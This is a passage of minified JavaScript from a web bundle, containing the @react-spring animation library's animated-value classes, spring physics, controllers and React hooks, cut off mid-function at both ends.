it(e,t){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}var $r=e=>(0,external_React_.useEffect)(e,ut),ut=[];function Ur(e){let t=ct();return lt(()=>{t.current=e}),t.current}var Wr=()=>{let[e,t]=dt(null);return esm_Q(()=>{let r=window.matchMedia("(prefers-reduced-motion)"),n=f=>{t(f.matches),U({skipAnimation:f.matches})};return n(r),r.addEventListener("change",n),()=>{r.removeEventListener("change",n)}},[]),e};
34537
34538;// ./node_modules/@react-spring/animated/dist/esm/index.js
34539var animated_dist_esm_h=Symbol.for("Animated:node"),animated_dist_esm_v=e=>!!e&&e[animated_dist_esm_h]===e,dist_esm_k=e=>e&&e[animated_dist_esm_h],esm_D=(e,t)=>mt(e,animated_dist_esm_h,t),F=e=>e&&e[animated_dist_esm_h]&&e[animated_dist_esm_h].getPayload(),animated_dist_esm_c=class{payload;constructor(){esm_D(this,this)}getPayload(){return this.payload||[]}};var animated_dist_esm_l=class extends animated_dist_esm_c{constructor(r){super();this._value=r;dist_esm_l.num(this._value)&&(this.lastPosition=this._value)}done=!0;elapsedTime;lastPosition;lastVelocity;v0;durationProgress=0;static create(r){return new animated_dist_esm_l(r)}getPayload(){return[this]}getValue(){return this._value}setValue(r,n){return dist_esm_l.num(r)&&(this.lastPosition=r,n&&(r=Math.round(r/n)*n,this.done&&(this.lastPosition=r))),this._value===r?!1:(this._value=r,!0)}reset(){let{done:r}=this;this.done=!1,dist_esm_l.num(this._value)&&(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,r&&(this.lastVelocity=null),this.v0=null)}};var animated_dist_esm_d=class extends animated_dist_esm_l{_string=null;_toString;constructor(t){super(0),this._toString=W({output:[t,t]})}static create(t){return new animated_dist_esm_d(t)}getValue(){let t=this._string;return t??(this._string=this._toString(this._value))}setValue(t){if(dist_esm_l.str(t)){if(t==this._string)return!1;this._string=t,this._value=1}else if(super.setValue(t))this._string=null;else return!1;return!0}reset(t){t&&(this._toString=W({output:[this.getValue(),t]})),this._value=0,super.reset()}};var dist_esm_f={dependencies:null};var animated_dist_esm_u=class extends animated_dist_esm_c{constructor(r){super();this.source=r;this.setValue(r)}getValue(r){let n={};return xt(this.source,(a,i)=>{animated_dist_esm_v(a)?n[i]=a.getValue(r):Pt(a)?n[i]=ve(a):r||(n[i]=a)}),n}setValue(r){this.source=r,this.payload=this._makePayload(r)}reset(){this.payload&&esm_Ve(this.payload,r=>r.reset())}_makePayload(r){if(r){let n=new Set;return xt(r,this._addToPayload,n),Array.from(n)}}_addToPayload(r){dist_esm_f.dependencies&&Pt(r)&&dist_esm_f.dependencies.add(r);let n=F(r);n&&esm_Ve(n,a=>this.add(a))}};var animated_dist_esm_y=class extends animated_dist_esm_u{constructor(t){super(t)}static create(t){return new animated_dist_esm_y(t)}getValue(){return this.source.map(t=>t.getValue())}setValue(t){let r=this.getPayload();return t.length==r.length?r.map((n,a)=>n.setValue(t[a])).some(Boolean):(super.setValue(t.map(dist_esm_z)),!0)}};function dist_esm_z(e){return(esm_or(e)?animated_dist_esm_d:animated_dist_esm_l).create(e)}function esm_Le(e){let t=dist_esm_k(e);return t?t.constructor:dist_esm_l.arr(e)?animated_dist_esm_y:esm_or(e)?animated_dist_esm_d:animated_dist_esm_l}var dist_esm_x=(e,t)=>{let r=!dist_esm_l.fun(e)||e.prototype&&e.prototype.isReactComponent;return (0,external_React_.forwardRef)((n,a)=>{let i=(0,external_React_.useRef)(null),o=r&&(0,external_React_.useCallback)(s=>{i.current=esm_ae(a,s)},[a]),[m,T]=esm_ne(n,t),W=Mr(),P=()=>{let s=i.current;if(r&&!s)return;(s?t.applyAnimatedValues(s,m.getValue(!0)):!1)===!1&&W()},_=new animated_dist_esm_b(P,T),p=(0,external_React_.useRef)();esm_Q(()=>(p.current=_,esm_Ve(T,s=>Gt(s,_)),()=>{p.current&&(esm_Ve(p.current.deps,s=>Qt(s,p.current)),esm_n.cancel(p.current.update))})),(0,external_React_.useEffect)(P,[]),$r(()=>()=>{let s=p.current;esm_Ve(s.deps,S=>Qt(S,s))});let $=t.getComponentProps(m.getValue());return external_React_.createElement(e,{...$,ref:o})})},animated_dist_esm_b=class{constructor(t,r){this.update=t;this.deps=r}eventObserved(t){t.type=="change"&&esm_n.write(this.update)}};function esm_ne(e,t){let r=new Set;return dist_esm_f.dependencies=r,e.style&&(e={...e,style:t.createAnimatedStyle(e.style)}),e=new animated_dist_esm_u(e),dist_esm_f.dependencies=null,[e,r]}function esm_ae(e,t){return e&&(dist_esm_l.fun(e)?e(t):e.current=t),t}var dist_esm_j=Symbol.for("AnimatedComponent"),dist_esm_Ke=(e,{applyAnimatedValues:t=()=>!1,createAnimatedStyle:r=a=>new animated_dist_esm_u(a),getComponentProps:n=a=>a}={})=>{let a={applyAnimatedValues:t,createAnimatedStyle:r,getComponentProps:n},i=o=>{let m=esm_I(o)||"Anonymous";return dist_esm_l.str(o)?o=i[o]||(i[o]=dist_esm_x(o,a)):o=o[dist_esm_j]||(o[dist_esm_j]=dist_esm_x(o,a)),o.displayName=`Animated(${m})`,o};return xt(e,(o,m)=>{dist_esm_l.arr(e)&&(m=esm_I(o)),i[m]=i(o)}),{animated:i}},esm_I=e=>dist_esm_l.str(e)?e:e&&dist_esm_l.str(e.displayName)?e.displayName:dist_esm_l.fun(e)&&e.name||null;
34540
34541;// ./node_modules/@react-spring/core/dist/esm/index.js
34542function dist_esm_I(t,...e){return dist_esm_l.fun(t)?t(...e):t}var esm_te=(t,e)=>t===!0||!!(e&&t&&(dist_esm_l.fun(t)?t(e):ht(t).includes(e))),et=(t,e)=>dist_esm_l.obj(t)?e&&t[e]:t;var esm_ke=(t,e)=>t.default===!0?t[e]:t.default?t.default[e]:void 0,nn=t=>t,dist_esm_ne=(t,e=nn)=>{let n=rn;t.default&&t.default!==!0&&(t=t.default,n=Object.keys(t));let r={};for(let o of n){let s=e(t[o],o);dist_esm_l.und(s)||(r[o]=s)}return r},rn=["config","onProps","onStart","onChange","onPause","onResume","onRest"],on={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function sn(t){let e={},n=0;if(xt(t,(r,o)=>{on[o]||(e[o]=r,n++)}),n)return e}function esm_de(t){let e=sn(t);if(e){let n={to:e};return xt(t,(r,o)=>o in e||(n[o]=r)),n}return{...t}}function esm_me(t){return t=ve(t),dist_esm_l.arr(t)?t.map(esm_me):esm_or(t)?dist_esm_p.createStringInterpolator({range:[0,1],output:[t,t]})(1):t}function esm_Ue(t){for(let e in t)return!0;return!1}function esm_Ee(t){return dist_esm_l.fun(t)||dist_esm_l.arr(t)&&dist_esm_l.obj(t[0])}function esm_xe(t,e){t.ref?.delete(t),e?.delete(t)}function esm_he(t,e){e&&t.ref!==e&&(t.ref?.delete(t),e.add(t),t.ref=e)}function wr(t,e,n=1e3){an(()=>{if(e){let r=0;ge(t,(o,s)=>{let a=o.current;if(a.length){let i=n*e[s];isNaN(i)?i=r:r=i,ge(a,u=>{ge(u.queue,p=>{let f=p.delay;p.delay=d=>i+dist_esm_I(f||0,d)})}),o.start()}})}else{let r=Promise.resolve();ge(t,o=>{let s=o.current;if(s.length){let a=s.map(i=>{let u=i.queue;return i.queue=[],u});r=r.then(()=>(ge(s,(i,u)=>ge(a[u]||[],p=>i.queue.push(p))),Promise.all(o.start())))}})}})}var esm_mt={default:{tension:170,friction:26},gentle:{tension:120,friction:14},wobbly:{tension:180,friction:12},stiff:{tension:210,friction:20},slow:{tension:280,friction:60},molasses:{tension:280,friction:120}};var tt={...esm_mt.default,mass:1,damping:1,easing:Lt.linear,clamp:!1},esm_we=class{tension;friction;frequency;damping;mass;velocity=0;restVelocity;precision;progress;duration;easing;clamp;bounce;decay;round;constructor(){Object.assign(this,tt)}};function gt(t,e,n){n&&(n={...n},esm_ht(n,e),e={...n,...e}),esm_ht(t,e),Object.assign(t,e);for(let a in tt)t[a]==null&&(t[a]=tt[a]);let{mass:r,frequency:o,damping:s}=t;return dist_esm_l.und(o)||(o<.01&&(o=.01),s<0&&(s=0),t.tension=Math.pow(2*Math.PI/o,2)*r,t.friction=4*Math.PI*s*r/o),t}function esm_ht(t,e){if(!dist_esm_l.und(e.decay))t.duration=void 0;else{let n=!dist_esm_l.und(e.tension)||!dist_esm_l.und(e.friction);(n||!dist_esm_l.und(e.frequency)||!dist_esm_l.und(e.damping)||!dist_esm_l.und(e.mass))&&(t.duration=void 0,t.decay=void 0),n&&(t.frequency=void 0)}}var esm_yt=[],dist_esm_Le=class{changed=!1;values=esm_yt;toValues=null;fromValues=esm_yt;to;from;config=new esm_we;immediate=!1};function esm_Me(t,{key:e,props:n,defaultProps:r,state:o,actions:s}){return new Promise((a,i)=>{let u,p,f=esm_te(n.cancel??r?.cancel,e);if(f)b();else{dist_esm_l.und(n.pause)||(o.paused=esm_te(n.pause,e));let c=r?.pause;c!==!0&&(c=o.paused||esm_te(c,e)),u=dist_esm_I(n.delay||0,e),c?(o.resumeQueue.add(m),s.pause()):(s.resume(),m())}function d(){o.resumeQueue.add(m),o.timeouts.delete(p),p.cancel(),u=p.time-esm_n.now()}function m(){u>0&&!dist_esm_p.skipAnimation?(o.delayed=!0,p=esm_n.setTimeout(b,u),o.pauseQueue.add(d),o.timeouts.add(p)):b()}function b(){o.delayed&&(o.delayed=!1),o.pauseQueue.delete(d),o.timeouts.delete(p),t<=(o.cancelId||0)&&(f=!0);try{s.start({...n,callId:t,cancel:f},a)}catch(c){i(c)}}})}var esm_be=(t,e)=>e.length==1?e[0]:e.some(n=>n.cancelled)?esm_q(t.get()):e.every(n=>n.noop)?nt(t.get()):dist_esm_E(t.get(),e.every(n=>n.finished)),nt=t=>({value:t,noop:!0,finished:!0,cancelled:!1}),dist_esm_E=(t,e,n=!1)=>({value:t,finished:e,cancelled:n}),esm_q=t=>({value:t,cancelled:!0,finished:!1});function esm_De(t,e,n,r){let{callId:o,parentId:s,onRest:a}=e,{asyncTo:i,promise:u}=n;return!s&&t===i&&!e.reset?u:n.promise=(async()=>{n.asyncId=o,n.asyncTo=t;let p=dist_esm_ne(e,(l,h)=>h==="onRest"?void 0:l),f,d,m=new Promise((l,h)=>(f=l,d=h)),b=l=>{let h=o<=(n.cancelId||0)&&esm_q(r)||o!==n.asyncId&&dist_esm_E(r,!1);if(h)throw l.result=h,d(l),l},c=(l,h)=>{let g=new esm_Ae,x=new esm_Ne;return(async()=>{if(dist_esm_p.skipAnimation)throw esm_oe(n),x.result=dist_esm_E(r,!1),d(x),x;b(g);let S=dist_esm_l.obj(l)?{...l}:{...h,to:l};S.parentId=o,xt(p,(V,_)=>{dist_esm_l.und(S[_])&&(S[_]=V)});let A=await r.start(S);return b(g),n.paused&&await new Promise(V=>{n.resumeQueue.add(V)}),A})()},P;if(dist_esm_p.skipAnimation)return esm_oe(n),dist_esm_E(r,!1);try{let l;dist_esm_l.arr(t)?l=(async h=>{for(let g of h)await c(g)})(t):l=Promise.resolve(t(c,r.stop.bind(r))),await Promise.all([l.then(f),m]),P=dist_esm_E(r.get(),!0,!1)}catch(l){if(l instanceof esm_Ae)P=l.result;else if(l instanceof esm_Ne)P=l.result;else throw l}finally{o==n.asyncId&&(n.asyncId=s,n.asyncTo=s?i:void 0,n.promise=s?u:void 0)}return dist_esm_l.fun(a)&&esm_n.batchedUpdates(()=>{a(P,r,r.item)}),P})()}function esm_oe(t,e){Pe(t.timeouts,n=>n.cancel()),t.pauseQueue.clear(),t.resumeQueue.clear(),t.asyncId=t.asyncTo=t.promise=void 0,e&&(t.cancelId=e)}var esm_Ae=class extends Error{result;constructor(){super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.")}},esm_Ne=class extends Error{result;constructor(){super("SkipAnimationSignal")}};var esm_Re=t=>t instanceof esm_X,Sn=1,esm_X=class extends esm_ge{id=Sn++;_priority=0;get priority(){return this._priority}set priority(e){this._priority!=e&&(this._priority=e,this._onPriorityChange(e))}get(){let e=dist_esm_k(this);return e&&e.getValue()}to(...e){return dist_esm_p.to(this,e)}interpolate(...e){return Jt(),dist_esm_p.to(this,e)}toJSON(){return this.get()}observerAdded(e){e==1&&this._attach()}observerRemoved(e){e==0&&this._detach()}_attach(){}_detach(){}_onChange(e,n=!1){$t(this,{type:"change",parent:this,value:e,idle:n})}_onPriorityChange(e){this.idle||qe.sort(this),$t(this,{type:"priority",parent:this,priority:e})}};var esm_se=Symbol.for("SpringPhase"),esm_bt=1,rt=2,ot=4,esm_qe=t=>(t[esm_se]&esm_bt)>0,dist_esm_Q=t=>(t[esm_se]&rt)>0,esm_ye=t=>(t[esm_se]&ot)>0,st=(t,e)=>e?t[esm_se]|=rt|esm_bt:t[esm_se]&=~rt,esm_it=(t,e)=>e?t[esm_se]|=ot:t[esm_se]&=~ot;var esm_ue=class extends esm_X{key;animation=new dist_esm_Le;queue;defaultProps={};_state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_pendingCalls=new Set;_lastCallId=0;_lastToId=0;_memoizedDuration=0;constructor(e,n){if(super(),!dist_esm_l.und(e)||!dist_esm_l.und(n)){let r=dist_esm_l.obj(e)?{...e}:{...n,from:e};dist_esm_l.und(r.default)&&(r.default=!0),this.start(r)}}get idle(){return!(dist_esm_Q(this)||this._state.asyncTo)||esm_ye(this)}get goal(){return ve(this.animation.to)}get velocity(){let e=dist_esm_k(this);return e instanceof animated_dist_esm_l?e.lastVelocity||0:e.getPayload().map(n=>n.lastVelocity||0)}get hasAnimated(){return esm_qe(this)}get isAnimating(){return dist_esm_Q(this)}get isPaused(){return esm_ye(this)}get isDelayed(){return this._state.delayed}advance(e){let n=!0,r=!1,o=this.animation,{config:s,toValues:a}=o,i=F(o.to);!i&&Pt(o.to)&&(a=ht(ve(o.to))),o.values.forEach((f,d)=>{if(f.done)return;let m=f.constructor==animated_dist_esm_d?1:i?i[d].lastPosition:a[d],b=o.immediate,c=m;if(!b){if(c=f.lastPosition,s.tension<=0){f.done=!0;return}let P=f.elapsedTime+=e,l=o.fromValues[d],h=f.v0!=null?f.v0:f.v0=dist_esm_l.arr(s.velocity)?s.velocity[d]:s.velocity,g,x=s.precision||(l==m?.005:Math.min(1,Math.abs(m-l)*.001));if(dist_esm_l.und(s.duration))if(s.decay){let S=s.decay===!0?.998:s.decay,A=Math.exp(-(1-S)*P);c=l+h/(1-S)*(1-A),b=Math.abs(f.lastPosition-c)<=x,g=h*A}else{g=f.lastVelocity==null?h:f.lastVelocity;let S=s.restVelocity||x/10,A=s.clamp?0:s.bounce,V=!dist_esm_l.und(A),_=l==m?f.v0>0:l<m,v,w=!1,C=1,$=Math.ceil(e/C);for(let L=0;L<$&&(v=Math.abs(g)>S,!(!v&&(b=Math.abs(m-c)<=x,b)));++L){V&&(w=c==m||c>m==_,w&&(g=-g*A,c=m));let N=-s.tension*1e-6*(c-m),y=-s.friction*.001*g,T=(N+y)/s.mass;g=g+T*C,c=c+g*C}}else{let S=1;s.duration>0&&(this._memoizedDuration!==s.duration&&(this._memoizedDuration=s.duration,f.durationProgress>0&&(f.elapsedTime=s.duration*f.durationProgress,P=f.elapsedTime+=e)),S=(s.progress||0)+P/this._memoizedDuration,S=S>1?1:S<0?0:S,f.durationProgress=S),c=l+s.easing(S)*(m-l),g=(c-f.lastPosition)/e,b=S==1}f.lastVelocity=g,Number.isNaN(c)&&(console.warn("Got NaN while animating:",this),b=!0)}i&&!i[d].done&&(b=!1),b?f.done=!0:n=!1,f.setValue(c,s.round)&&(r=!0)});let u=dist_esm_k(this),p=u.getValue();if(n){let f=ve(o.to);(p!==f||r)&&!s.decay?(u.setValue(f),this._onChange(f)):r&&s.decay&&this._onChange(p),this._stop()}else r&&this._onChange(p)}set(e){return esm_n.batchedUpdates(()=>{this._stop(),this._focus(e),this._set(e)}),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(dist_esm_Q(this)){let{to:e,config:n}=this.animation;esm_n.batchedUpdates(()=>{this._onStart(),n.decay||this._set(e,!1),this._stop()})}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,n){let r;return dist_esm_l.und(e)?(r=this.queue||[],this.queue=[]):r=[dist_esm_l.obj(e)?e:{...n,to:e}],Promise.all(r.map(o=>this._update(o))).then(o=>esm_be(this,o))}stop(e){let{to:n}=this.animation;return this._focus(this.get()),esm_oe(this._state,e&&this._lastCallId),esm_n.batchedUpdates(()=>this._stop(n,e)),this}reset(){this._update({reset:!0})}eventObserved(e){e.type=="change"?this._start():e.type=="priority"&&(this.priority=e.priority+1)}_prepareNode(e){let n=this.key||"",{to:r,from:o}=e;r=dist_esm_l.obj(r)?r[n]:r,(r==null||esm_Ee(r))&&(r=void 0),o=dist_esm_l.obj(o)?o[n]:o,o==null&&(o=void 0);let s={to:r,from:o};return esm_qe(this)||(e.reverse&&([r,o]=[o,r]),o=ve(o),dist_esm_l.und(o)?dist_esm_k(this)||this._set(r):this._set(o)),s}_update({...e},n){let{key:r,defaultProps:o}=this;e.default&&Object.assign(o,dist_esm_ne(e,(i,u)=>/^on/.test(u)?et(i,r):i)),_t(this,e,"onProps"),esm_Ie(this,"onProps",e,this);let s=this._prepareNode(e);if(Object.isFrozen(this))throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");let a=this._state;return esm_Me(++this._lastCallId,{key:r,props:e,defaultProps:o,state:a,actions:{pause:()=>{esm_ye(this)||(esm_it(this,!0),yt(a.pauseQueue),esm_Ie(this,"onPause",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},resume:()=>{esm_ye(this)&&(esm_it(this,!1),dist_esm_Q(this)&&this._resume(),yt(a.resumeQueue),esm_Ie(this,"onResume",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},start:this._merge.bind(this,s)}}).then(i=>{if(e.loop&&i.finished&&!(n&&i.noop)){let u=at(e);if(u)return this._update(u,!0)}return i})}_merge(e,n,r){if(n.cancel)return this.stop(!0),r(esm_q(this));let o=!dist_esm_l.und(e.to),s=!dist_esm_l.und(e.from);if(o||s)if(n.callId>this._lastToId)this._lastToId=n.callId;else return r(esm_q(this));let{key:a,defaultProps:i,animation:u}=this,{to:p,from:f}=u,{to:d=p,from:m=f}=e;s&&!o&&(!n.default||dist_esm_l.und(d))&&(d=m),n.reverse&&([d,m]=[m,d]);let b=!bt(m,f);b&&(u.from=m),m=ve(m);let c=!bt(d,p);c&&this._focus(d);let P=esm_Ee(n.to),{config:l}=u,{decay:h,velocity:g}=l;(o||s)&&(l.velocity=0),n.config&&!P&>(l,dist_esm_I(n.config,a),n.config!==i.config?dist_esm_I(i.config,a):void 0);let x=dist_esm_k(this);if(!x||dist_esm_l.und(d))return r(dist_esm_E(this,!0));let S=dist_esm_l.und(n.reset)?s&&!n.default:!dist_esm_l.und(m)&&esm_te(n.reset,a),A=S?m:this.get(),V=esm_me(d),_=dist_esm_l.num(V)||dist_esm_l.arr(V)||esm_or(V),v=!P&&(!_||esm_te(i.immediate||n.immediate,a));if(c){let L=esm_Le(d);if(L!==x.constructor)if(v)x=this._set(V);else throw Error(`Cannot animate between ${x.constructor.name} and ${L.name}, as the "to" prop suggests`)}let w=x.constructor,C=Pt(d),$=!1;if(!C){let L=S||!esm_qe(this)&&b;(c||L)&&($=bt(esm_me(A),V),C=!$),(!bt(u.immediate,v)&&!v||!bt(l.decay,h)||!bt(l.velocity,g))&&(C=!0)}if($&&dist_esm_Q(this)&&(u.changed&&!S?C=!0:C||this._stop(p)),!P&&((C||Pt(p))&&(u.values=x.getPayload(),u.toValues=Pt(d)?null:w==animated_dist_esm_d?[1]:ht(V)),u.immediate!=v&&(u.immediate=v,!v&&!S&&this._set(p)),C)){let{onRest:L}=u;esm_Ve(_n,y=>_t(this,n,y));let N=dist_esm_E(this,esm_Ce(this,p));yt(this._pendingCalls,N),this._pendingCalls.add(r),u.changed&&esm_n.batchedUpdates(()=>{u.changed=!S,L?.(N,this),S?dist_esm_I(i.onRest,N):u.onStart?.(N,this)})}S&&this._set(A),P?r(esm_De(n.to,n,this._state,this)):C?this._start():dist_esm_Q(this)&&!c?this._pendingCalls.add(r):r(nt(A))}_focus(e){let n=this.animation;e!==n.to&&(esm_qt(this)&&this._detach(),n.to=e,esm_qt(this)&&this._attach())}_attach(){let e=0,{to:n}=this.animation;Pt(n)&&(Gt(n,this),esm_Re(n)&&(e=n.priority+1)),this.priority=e}_detach(){let{to:e}=this.animation;Pt(e)&&Qt(e,this)}_set(e,n=!0){let r=ve(e);if(!dist_esm_l.und(r)){let o=dist_esm_k(this);if(!o||!bt(r,o.getValue())){let s=esm_Le(r);!o||o.constructor!=s?esm_D(this,s.create(r)):o.setValue(r),o&&esm_n.batchedUpdates(()=>{this._onChange(r,n)})}}return dist_esm_k(this)}_onStart(){let e=this.animation;e.changed||(e.changed=!0,esm_Ie(this,"onStart",dist_esm_E(this,esm_Ce(this,e.to)),this))}_onChange(e,n){n||(this._onStart(),dist_esm_I(this.animation.onChange,e,this)),dist_esm_I(this.defaultProps.onChange,e,this),super._onChange(e,n)}_start(){let e=this.animation;dist_esm_k(this).reset(ve(e.to)),e.immediate||(e.fromValues=e.values.map(n=>n.lastPosition)),dist_esm_Q(this)||(st(this,!0),esm_ye(this)||this._resume())}_resume(){dist_esm_p.skipAnimation?this.finish():qe.start(this)}_stop(e,n){if(dist_esm_Q(this)){st(this,!1);let r=this.animation;esm_Ve(r.values,s=>{s.done=!0}),r.toValues&&(r.onChange=r.onPause=r.onResume=void 0),$t(this,{type:"idle",parent:this});let o=n?esm_q(this.get()):dist_esm_E(this.get(),esm_Ce(this,e??r.to));yt(this._pendingCalls,o),r.changed&&(r.changed=!1,esm_Ie(this,"onRest",o,this))}}};function esm_Ce(t,e){let n=esm_me(e),r=esm_me(t.get());return bt(r,n)}function at(t,e=t.loop,n=t.to){let r=dist_esm_I(e);if(r){let o=r!==!0&&esm_de(r),s=(o||t).reverse,a=!o||o.reset;return esm_Pe({...t,loop:e,default:!1,pause:void 0,to:!s||esm_Ee(n)?n:void 0,from:a?t.from:void 0,reset:a,...o})}}function esm_Pe(t){let{to:e,from:n}=t=esm_de(t),r=new Set;return dist_esm_l.obj(e)&&Vt(e,r),dist_esm_l.obj(n)&&Vt(n,r),t.keys=r.size?Array.from(r):null,t}function Ot(t){let e=esm_Pe(t);return R.und(e.default)&&(e.default=dist_esm_ne(e)),e}function Vt(t,e){xt(t,(n,r)=>n!=null&&e.add(r))}var _n=["onStart","onRest","onChange","onPause","onResume"];function _t(t,e,n){t.animation[n]=e[n]!==esm_ke(e,n)?et(e[n],t.key):void 0}function esm_Ie(t,e,...n){t.animation[e]?.(...n),t.defaultProps[e]?.(...n)}var Fn=["onStart","onChange","onRest"],kn=1,esm_le=class{id=kn++;springs={};queue=[];ref;_flush;_initialProps;_lastAsyncId=0;_active=new Set;_changed=new Set;_started=!1;_item;_state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_events={onStart:new Map,onChange:new Map,onRest:new Map};constructor(e,n){this._onFrame=this._onFrame.bind(this),n&&(this._flush=n),e&&this.start({default:!0,...e})}get idle(){return!this._state.asyncTo&&Object.values(this.springs).every(e=>e.idle&&!e.isDelayed&&!e.isPaused)}get item(){return this._item}set item(e){this._item=e}get(){let e={};return this.each((n,r)=>e[r]=n.get()),e}set(e){for(let n in e){let r=e[n];dist_esm_l.und(r)||this.springs[n].set(r)}}update(e){return e&&this.queue.push(esm_Pe(e)),this}start(e){let{queue:n}=this;return e?n=ht(e).map(esm_Pe):this.queue=[],this._flush?this._flush(this,n):(jt(this,n),esm_ze(this,n))}stop(e,n){if(e!==!!e&&(n=e),n){let r=this.springs;esm_Ve(ht(n),o=>r[o].stop(!!e))}else esm_oe(this._state,this._lastAsyncId),this.each(r=>r.stop(!!e));return this}pause(e){if(dist_esm_l.und(e))this.start({pause:!0});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].pause())}return this}resume(e){if(dist_esm_l.und(e))this.start({pause:!1});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].resume())}return this}each(e){xt(this.springs,e)}_onFrame(){let{onStart:e,onChange:n,onRest:r}=this._events,o=this._active.size>0,s=this._changed.size>0;(o&&!this._started||s&&!this._started)&&(this._started=!0,Pe(e,([u,p])=>{p.value=this.get(),u(p,this,this._item)}));let a=!o&&this._started,i=s||a&&r.size?this.get():null;s&&n.size&&Pe(n,([u,p])=>{p.value=i,u(p,this,this._item)}),a&&(this._started=!1,Pe(r,([u,p])=>{p.value=i,u(p,this,this._item)}))}eventObserved(e){if(e.type=="change")this._changed.add(e.parent),e.idle||this._active.add(e.parent);else if(e.type=="idle")this._active.delete(e.parent);else return;esm_n.onFrame(this._onFrame)}};function esm_ze(t,e){return Promise.all(e.map(n=>wt(t,n))).then(n=>esm_be(t,n))}async function wt(t,e,n){let{keys:r,to:o,from:s,loop:a,onRest:i,onResolve:u}=e,p=dist_esm_l.obj(e.default)&&e.default;a&&(e.loop=!1),o===!1&&(e.to=null),s===!1&&(e.from=null);let f=dist_esm_l.arr(o)||dist_esm_l.fun(o)?o:void 0;f?(e.to=void 0,e.onRest=void 0,p&&(p.onRest=void 0)):esm_Ve(Fn,P=>{let l=e[P];if(dist_esm_l.fun(l)){let h=t._events[P];e[P]=({finished:g,cancelled:x})=>{let S=h.get(l);S?(g||(S.finished=!1),x&&(S.cancelled=!0)):h.set(l,{value:null,finished:g||!1,cancelled:x||!1})},p&&(p[P]=e[P])}});let d=t._state;e.pause===!d.paused?(d.paused=e.pause,yt(e.pause?d.pauseQueue:d.resumeQueue)):d.paused&&(e.pause=!0);let m=(r||Object.keys(t.springs)).map(P=>t.springs[P].start(e)),b=e.cancel===!0||esm_ke(e,"cancel")===!0;(f||b&&d.asyncId)&&m.push(esm_Me(++t._lastAsyncId,{props:e,state:d,actions:{pause:Y,resume:Y,start(P,l){b?(esm_oe(d,t._lastAsyncId),l(esm_q(t))):(P.onRest=i,l(esm_De(f,P,d,t)))}}})),d.paused&&await new Promise(P=>{d.resumeQueue.add(P)});let c=esm_be(t,await Promise.all(m));if(a&&c.finished&&!(n&&c.noop)){let P=at(e,a,o);if(P)return jt(t,[P]),wt(t,P,!0)}return u&&esm_n.batchedUpdates(()=>u(c,t,t.item)),c}function esm_e(t,e){let n={...t.springs};return e&&pe(Ve(e),r=>{z.und(r.keys)&&(r=esm_Pe(r)),z.obj(r.to)||(r={...r,to:void 0}),Mt(n,r,o=>esm_Lt(o))}),pt(t,n),n}function pt(t,e){Ut(e,(n,r)=>{t.springs[r]||(t.springs[r]=n,Et(n,t))})}function esm_Lt(t,e){let n=new esm_ue;return n.key=t,e&&Gt(n,e),n}function Mt(t,e,n){e.keys&&esm_Ve(e.keys,r=>{(t[r]||(t[r]=n(r)))._prepareNode(e)})}function jt(t,e){esm_Ve(e,n=>{Mt(t.springs,n,r=>esm_Lt(r,t))})}var dist_esm_H=({children:t,...e})=>{let n=(0,external_React_.useContext)(esm_Ge),r=e.pause||!!n.pause,o=e.immediate||!!n.immediate;e=Lr(()=>({pause:r,immediate:o}),[r,o]);let{Provider:s}=esm_Ge;return external_React_.createElement(s,{value:e},t)},esm_Ge=wn(dist_esm_H,{});dist_esm_H.Provider=esm_Ge.Provider;dist_esm_H.Consumer=esm_Ge.Consumer;function wn(t,e){return Object.assign(t,external_React_.createContext(e)),t.Provider._context=t,t.Consumer._context=t,t}var esm_fe=()=>{let t=[],e=function(r){Ln();let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=n(r,s,a);i&&o.push(s.start(i))}}),o};e.current=t,e.add=function(r){t.includes(r)||t.push(r)},e.delete=function(r){let o=t.indexOf(r);~o&&t.splice(o,1)},e.pause=function(){return ce(t,r=>r.pause(...arguments)),this},e.resume=function(){return ce(t,r=>r.resume(...arguments)),this},e.set=function(r){ce(t,(o,s)=>{let a=Ke.fun(r)?r(s,o):r;a&&o.set(a)})},e.start=function(r){let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=this._getProps(r,s,a);i&&o.push(s.start(i))}}),o},e.stop=function(){return ce(t,r=>r.stop(...arguments)),this},e.update=function(r){return ce(t,(o,s)=>o.update(this._getProps(r,o,s))),this};let n=function(r,o,s){return Ke.fun(r)?r(s,o):r};return e._getProps=n,e};function esm_He(t,e,n){let r=jn.fun(e)&&e;r&&!n&&(n=[]);let o=Xe(()=>r||arguments.length==3?esm_fe():void 0,[]),s=Nt(0),a=Dn(),i=Xe(()=>({ctrls:[],queue:[],flush(h,g){let x=esm_e(h,g);return s.current>0&&!i.queue.length&&!Object.keys(x).some(A=>!h.springs[A])?esm_ze(h,g):new Promise(A=>{pt(h,x),i.queue.push(()=>{A(esm_ze(h,g))}),a()})}}),[]),u=Nt([...i.ctrls]),p=[],f=Dt(t)||0;Xe(()=>{Ye(u.current.slice(t,f),h=>{esm_xe(h,o),h.stop(!0)}),u.current.length=t,d(f,t)},[t]),Xe(()=>{d(0,Math.min(f,t))},n);function d(h,g){for(let x=h;x<g;x++){let S=u.current[x]||(u.current[x]=new esm_le(null,i.flush)),A=r?r(x,S):e[x];A&&(p[x]=Ot(A))}}let 